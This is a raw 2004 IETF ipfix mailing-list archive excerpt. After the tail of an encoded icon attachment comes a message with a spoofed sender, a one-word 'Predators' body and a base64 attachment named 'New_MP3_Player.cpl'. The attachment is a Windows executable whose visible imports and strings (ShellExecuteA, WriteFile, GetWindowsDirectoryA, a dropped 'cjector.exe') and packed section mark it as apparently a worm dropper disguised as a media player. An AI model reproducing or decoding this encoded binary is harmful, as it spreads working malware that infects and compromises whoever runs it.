BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAoKCgoKCgoKBAQEBAQEBAQEBAQE
BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAoKCgoKCgoKBAQEBP//////////////////
////////////////////////BAQEBAoKCgoKCgoKBAQEBP//////////////////////////
////////////////BAQEBAoKCgoKCgoKBAQEBP//////////////////////////////////
////////BAQEBAoKCgoKCgoKBAQEBP//////////////////////////////////////////
BAQEBAoKCgoKCgoKBAQEBP//////////////////////////////////////////BAQEBAoK
CgoKCgoKBAQEBP////8EBAQEBAQE/////wQEBAQEBAT/////////////BAQEBAoKCgoKCgoK
BAQEBP////8EBAQEBAQE7f///wQEBAQEBATt////////////BAQEBAoKCgoKCgoKBAQEBP//
//8EBAQEBAQEBP///wQEBAQEBAQE////////////BAQEBAoKCgoKCgoKBAQEBP////8EBAQE
BAQEBO3//wQEBAQEBAQE7f//////////BAQEBAoKCgoKCgoKBAQEBP////8EBAQEBAQEBAT/
/wQEBAQEBAQEBP//////////BAQEBAoKCgoKCgoKBAQEBP////8EBAQEBAQEBATt/wQEBAQE
BAQEBO3/////////BAQEBAoKCgoKCgoKBAQEBP////8EBAQEBAQEBAQE/wQEBAQEBAQEBAT/
////////BAQEBAoKCgoKCgoKBAQEBP////8EBAQEBAQEBAQE7QQEBAQEBAQEBATt////////
BAQEBAoKCgoKCgoKBAQEBP////8EBAQEBAQEBAQEBAQEBAQEBAQEBAQE////////BAQEBAoK
CgoKCgoKBAQEBP////8EBAQEBAQEBAQEBAQEBAQEBAQEBAQE7f//////BAQEBAoKCgoKCgoK
BAQEBP////8EBAQEBAQEBAQEBAQEBAQEBAQEBAQEBP//////BAQEBAoKCgoKCgoKBAQEBP//
//8EBAQEBO0EBAQEBAQEBAQEBAQEBAQEBO3/////BAQEBAoKCgoKCgoKBAQEBP////8EBAQE
BP8EBAQEBAQEBAQEBATtBAQEBAT/////BAQEBAoKCgoKCgoKBAQEBP////8EBAQEBP/tBAQE
BAQEBAQEBAT/BAQEBATt////BAQEBAoKCgoKCgoKBAQEBP////8EBAQEBP//BAQEBAQEBAQE
BAT/7QQEBAQE////BAQEBAoKCgoKCgoKBAQEBP////8EBAQEBP//7QQEBAQEBAQEBAT//wQE
BAQE7f//BAQEBAoKCgoKCgoKBAQEBP////8EBAQEBP///wQEBAQEBAQEBAT//+0EBAQEBP//
BAQEBAoKCgoKCgoKBAQEBP////8EBAQEBP///+0EBAQEBAQEBAT///8EBAQEBO3/BAQEBAoK
CgoKCgoKBAQEBP//BAQEBAQEBAQE//8EBAQEBAQEBAT/BAQEBAQEBAQEBAQEBAoKCgoKCgoK
BAQEBP//BAQEBAQEBAQE///tBAQEBAQEBAT/BAQEBAQEBAQEBAQEBAoKCgoKCgoKBAQEBP//
BAQEBAQEBAQE////BAQEBAQEBAT/BAQEBAQEBAQEBAQEBAoKCgoKCgoKBAQEBP//////////
////////////////////////////////BAQEBAoKCgoKCgoKBAQEBP//////////////////
////////////////////////BAQEBAoKCgoKCgoKBAQEBP//////////////////////////
////////////////BAQEBAoKCgoKCgoKBAQEBP//////////////////////////////////
////////BAQEBAoKCgoKCgoKBAQEBP//////////////////////////////////////////
BAQEBAoKCgoKCgoKBAQEBP//////////////////////////////////////////BAQEBAoK
CgoKCgoKBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAoKCgoKCgoK
BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAoKCgoKCgoKBAQEBAQE
BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAoKCgoKCgoKBAQEBAQEBAQEBAQE
BAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAQEBAoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoK
CgoKCgoKCgr///////8AAP///////wAA////////AAD///////8AAPAAAAAADwAA8AAAAAAP
AADwAAAAAA8AAPAAAAAADwAA8AAAAAAPAADwAAAAAA8AAPAAAAAADwAA8AAAAAAPAADwAAAA
AA8AAPAAAAAADwAA8AAAAAAPAADwAAAAAA8AAPAAAAAADwAA8AAAAAAPAADwAAAAAA8AAPAA
AAAADwAA8AAAAAAPAADwAAAAAA8AAPAAAAAADwAA8AAAAAAPAADwAAAAAA8AAPAAAAAADwAA
8AAAAAAPAADwAAAAAA8AAPAAAAAADwAA8AAAAAAPAADwAAAAAA8AAPAAAAAADwAA8AAAAAAP
AADwAAAAAA8AAPAAAAAADwAA8AAAAAAPAADwAAAAAA8AAPAAAAAADwAA8AAAAAAPAADwAAAA
AA8AAPAAAAAADwAA8AAAAAAPAADwAAAAAA8AAPAAAAAADwAA////////AAD///////8AAP//
/////wAA////////AAAAAAEAAwAgIBAAAQAEAOgCAAABABAQEAABAAQAKAEAAAIAMDAAAAEA
CACoDgAAAwChQEiHCEU9dJdopa8BtQWUdruOSBiWHmpTgh+AwjoQVw2MjxeWMCiCthlWWL4Z
dYbBZo66S1NvAkMeBwBlJAW6u5RWkhhDgDBufqZXM1SeKCeHIkBiwEhYo3hHK2lSSL0xwABB
DXY/HWmEABMKnGQBagW5FiI7wjGuVigKiIVVbh5pFZJ0SKu5aMJ7KAcVBQRrnQOuJ4+WekMt
RJosagIMGy+BnJNNrLUGXQwEYyEbWxaoiSpWtgNlsY01IsFgSA0DbI9Dip+tI1AkVEc5fgqb
YotNkqO/CIIDkyBuP7AhVLtnezWGGUp4nD1gaKgMWJEtZpkNSkAJbApAt5MvxXMwSbSoW8Q4
pZ8hIJJEI7VWOygQh60mrylUHXcYDDq8KLYTCRWhA3J+HkoqSSCxZXiYfagknFusgkA4qg1L
epsQETTCPy8uihykCQs5qB0TxIIKrmpiU7ddBTZlmAm1VZOHPj91iCKRhpGFWRGXjJ8MmkKx
J4pREYgRlhqzv1yNGa4GSywSXCBfbmk1Dp6we5ojhjGoEKWcOaQkVrFlHEGEFWoOllWfq5uW
mWwxSHVcZSl3vkNNIqQuP60zpnlQryoUMsKxhr4OlGtCV0BMPRgVWcB/lkUCUVBUuXVtiTOr
FKe/Om+jnVthswQ0jToUOq+Yu3RJj8MagZY9bm2LPX8TbpSwsrAtCxJyWF1pCXprcDkIj4Q0
ocWaiJ1UCBKSYlWXBi0rsTo6dA8If3YWCkFJUBZ2Ppo5RWpJw3nAqjt1my5zXQ2vDca7ixJk
VF4sA72aPVMoCDzCfY4+grheQcE2AltJJLaPSRNeiLsyfWOqU0AZBVWyoQWQTwoyMr6Tc2VR
D0RjDWIDvCqWvAB3psNCL063Nx6nClauOS/FowUyZ8UjWiBVj7s+YwmIPLWVUo7CMicxhmXG
QEK9c6kWM42edqRMZhSdZgGEHldieEgPBTIkgAU+ACK2mJlNOE0QcThAT14VKiRmmaRhgHoy
R50oC8WDab93P4e0QbdUjpBCTW59i4qyXRQ7qTivTrrHL3iBoTepYn9qBzIFcBaGxE++tW+G
LTo2qDFKeak4LhoDDWoUKDqmbT9MERWrs0oxCTo7cYOudT+HK6FIUlY1InquY4SVS7WlcAZY
fF4FVV9cHrBIbMS/TrybPzVxiIMaT5Z3eLGigg1vOBhcLVrCKY2XFMKuGHdISVaorlh3bXJ8
tBtLLmYEt8JJikMPpIJwk5iAl6QNkSQNgg9wQFV1hFq+i5YFd8cXrV9ioBdkfS1ROV5RKp1z
r26pYm16Gr4ZuQAapx9PcGGLmHssdW51X1u1o7xkWk1ukE9Aq7BKQjnEeG0MIFWQtz0/uZ+s
k5AhZYAijJ5XVU2sfW8=

----------hczwotckxtlzoioevghq--


--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Tue Oct  5 16:55:16 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA11452
	for <ipfix-archive@lists.ietf.org>; Tue, 5 Oct 2004 16:55:15 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1CEvnL-0004Mt-00
	for ipfix-list@mil.doit.wisc.edu; Tue, 05 Oct 2004 15:20:23 -0500
Received: from [200.180.242.22] (helo=PENTIUM4.net)
	by mil.doit.wisc.edu with smtp (Exim 3.13 #1)
	id 1CEvmu-00047y-00
	for ipfix@net.doit.wisc.edu; Tue, 05 Oct 2004 15:19:58 -0500
Date: Tue, 05 Oct 2004 17:19:45 -0300
To: "Ipfix" <ipfix@net.doit.wisc.edu>
From: "Plonka" <plonka@doit.wisc.edu>
Subject: [ipfix] Re:
Message-ID: <iilklrilogifwbcpbpm@net.doit.wisc.edu>
MIME-Version: 1.0
Content-Type: multipart/mixed;
        boundary="--------ypnqwidqbuwyzhcefdii"
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>

----------ypnqwidqbuwyzhcefdii
Content-Type: text/html; charset="us-ascii"
Content-Transfer-Encoding: 7bit

<html><body>
>Predators<br><br>

<br>
</body></html>

----------ypnqwidqbuwyzhcefdii
Content-Type: application/octet-stream; name="New_MP3_Player.cpl"
Content-Disposition: attachment; filename="New_MP3_Player.cpl"
Content-Transfer-Encoding: base64

TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g
RE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDANuf+0AAAAAAAAAAAOAADiELAQUMAAgAAAAC
AAAAAAAAQBEAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAACaHAAAAAgAA
AAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAADQQAAA8AAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAACAAACwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAACQEAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50
ZXh0AAAAIAYAAAAQAAAABAAAAAIAAAAAAAAAAAAAAAAAACAAAOAucmVsb2MAACoAAAAAIAAA
AAIAAAAGAAAAAAAAAAAAAAAAAABAAABCAAAAAAAAAAAmVwAAADAAACZXAAAACAAAAAAAAAAA
AAAAAAAAIAAA4AAAAAAAAAAAAAAAAAAAAABvcGVuAGdkZmRmaGZnaGZnaGZkZ2RmaGdmaGZn
aGpzZGpnanV5XGNqZWN0b3IuZXhlAAAAcBAAAAAAAAAAAAAACBEAAJAQAACIEAAAAAAAAAAA
AAAmEQAAqBAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAvBAAAMoQAADYEAAA8BAAAPwQAAAAAAAA
FhEAAAAAAAC8EAAAyhAAANgQAADwEAAA/BAAAAAAAAAWEQAAAAAAAHVzZXIzMi5kbGwAABoA
Q2xvc2VIYW5kbGUAMABDcmVhdGVGaWxlQQBiAUdldFdpbmRvd3NEaXJlY3RvcnlBAACeAldy
aXRlRmlsZQC1AmxzdHJjYXRBAABrZXJuZWwzMi5kbGwAAG4AU2hlbGxFeGVjdXRlQQBTSEVM
TDMyLmRsbAAAAAAAAAAAAAAAAAAAAFWL7IN9DAF1SGgABAAAaCASABDoogAAADPCaCUQABBo
IBIAEOidAAAAQWggEgAQ6CYAAAALwHQZ99BqAGoAagBoIBIAEGgAEAAQagDoewAAALgBAAAA
ycIMAFWL7IPE+FNWM9tqAGoAagJqAGoDaAAAAMD/dQjoOQAAAJCJRfhAdCMz0L4AMAAQrZJq
AI1F/FBSVv91+OglAAAASP91+OgKAAAAQ4vDXlvJwgQAzP8lkBAAEP8llBAAEP8lmBAAEP8l
nBAAEP8loBAAEP8lqBAAEAAAAAAAAAAAAAAAAAAAABAAAAwAAADFMQAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAACAAAABPMVsxYDFrMYExhjHwMfYx/DECMggy
DjIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAiVwAA
TVoAAAEAAAACAAAA//8AAEAAAAAAAAAAQAAAAAAAAAC0TM0hAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAQAAAAFBFAABMAQUAAAAAAAAAAAAAAAAA4AAPAQsBAAAASAAAAFIAAAAAAAAAwAAA
ABAAAABgAAAAAEAAABAAAAACAAAEAAAAAAAAAAQAAAAAAAAAAhUBAAACAAAAAAAAAgAAAAAA
EAAAEAAAAAAQAAAQAAAAAAAAEAAAAAAAAAAAAAAAVsIAANEAAAAAEAEAAgUAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAABgAADoAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAAEgAAAAAAACqRgAA
ABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAwAAOAAAAAAAATgwAAABgAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAEAAAMAANgAAAAAAAJ5CAAAAcAAAAAAAAAAAAAAAAAAAAAAAAAAAAABAAADA
AAAAAAAAAAAAUAAAAMAAAABMAAAAAgAAAAAAAAAAAAAAAAAAQAAAwC5yc3JjAAAAAgUAAAAQ
AQACBQAAAE4AAAAAAAAAAAAAAAAAACAAAOBg6AEAAADog8QE6AEAAADpXYHt2SFAAOgpAgAA
6OsI6wLNIP8kJJpmvkdG6AEAAACaWY2VKyJAAOgBAAAAaVhmv01K6OQBAACNUvnoAQAAAOhb
aMz/4pr/5Gn/pWwkQADp6Ln////rAs0gi8TrAs0ggQAWAAAAD4XJAQAAaegAAAAAWJlqFVqN
BAJQ6JUBAABmPYbzdAPpjZXNIkAA6IoBAADoAQAAAGmDxASNvfEkQAC5MUgAALp4I++Oigcq
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
